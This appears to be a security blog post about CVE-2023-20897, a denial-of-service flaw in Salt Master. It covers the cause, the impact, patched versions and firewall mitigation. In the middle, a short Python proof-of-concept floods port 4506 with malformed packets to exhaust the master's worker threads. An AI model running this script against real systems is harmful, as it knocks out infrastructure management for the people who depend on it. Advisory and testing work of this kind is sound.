CVE-2023-20897 - Denial of Service in Salt Master Minion Return Handling

Security issues can pop up in some of the most trusted tools. SaltStack’s Salt is a powerful automation and configuration management system, widely used in data centers and cloud environments. But, just like any software, it’s not immune to vulnerabilities.

CVE-2023-20897 exposes a risk in Salt Masters running versions before 3005.2 or 3006.2. In this post, we break down how this Denial of Service (DoS) can take Salt out of commission, show you a simple code snippet simulating the issue, provide original references, and explain actual exploit details step by step.

🔥 What is CVE-2023-20897?

CVE-2023-20897 is a DoS vulnerability in Salt. If a Salt Master receives a number of malformed (bad) packets matching the number of its configured worker threads, it "freezes" and ignores future minion return requests until it’s restarted.

🛠️ Technical Details

Salt runs a reqserver process, handling return messages (results, events, etc) from Salt Minions. It spins up a thread pool to parallelize these workloads.

The Bug:
If you send badly-formed packets, the threads processing them don’t gracefully fail, but instead can become "stuck." If you tie up all worker threads with junk requests, nobody can return results, including legitimate Salt Minions.

No authentication is needed for this disruption. A remote attacker only needs to know the Salt Master’s IP and reachable port (usually 4506).

🧑‍💻 Exploit Example (Proof of Concept)

Below is a simple Python script that will send enough malformed packets to a Salt Master to exhaust its worker threads and trigger the DoS. Please use only in test/lab environments and never against systems you do not own!

import socket
import threading

MASTER_IP = '1.2.3.4'  # Change this to the vulnerable Master's IP
MASTER_PORT = 4506
THREADS = 10  # Set this to the master's worker_threads value

BAD_PACKET = b"ThisDoesNotLookLikeSalt\n"

def send_bad_packet():
    try:
        with socket.create_connection((MASTER_IP, MASTER_PORT), timeout=2) as s:
            s.sendall(BAD_PACKET)
    except Exception as e:
        pass  # Ignore errors

threads = []
for i in range(THREADS):
    t = threading.Thread(target=send_bad_packet)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print(f"Sent {THREADS} bad packets. If vulnerable, Salt Master will be unresponsive until restart.")

How it works:
- You match the number of bad packets sent to the Salt Master’s worker threads (default: 10, but configurable).

💥 Real-World Impact

Once all worker threads are blocked, you can't get results from salt commands. Your Salt Master will look "up" (for example, you can still connect) but it’s not working! Monitoring and orchestration grind to a halt.

Recovery: The only fix is to restart the Salt Master process.

🛡️ How To Fix

Upgrade!
Patched releases are 3005.2 and 3006.2 (release notes, 3006.2). All users should upgrade right away.

Short-term mitigations

- Restrict network access to Salt Master’s request server port (TCP/4506) using firewalls.

📝 References

- SaltStack Announcement
- Salt CVEs and Patch Notes
- CVE-2023-20897 Details
- Salt Security Best Practices

✅ Final Thoughts

CVE-2023-20897 is a perfect example of how a simple resource exhaustion bug can lead to real pain. In today’s world, where automation is key, a stuck Salt Master can mean lost productivity or, worse, miss real production issues.

Don’t wait—check your Salt version, update, and keep your infrastructure safe!

*Have you patched your Salt Stack? Share your story or tips in the comments!*

Timeline

Published on: 09/05/2023 11:15:32 UTC
Last modified on: 09/14/2023 03:15:08 UTC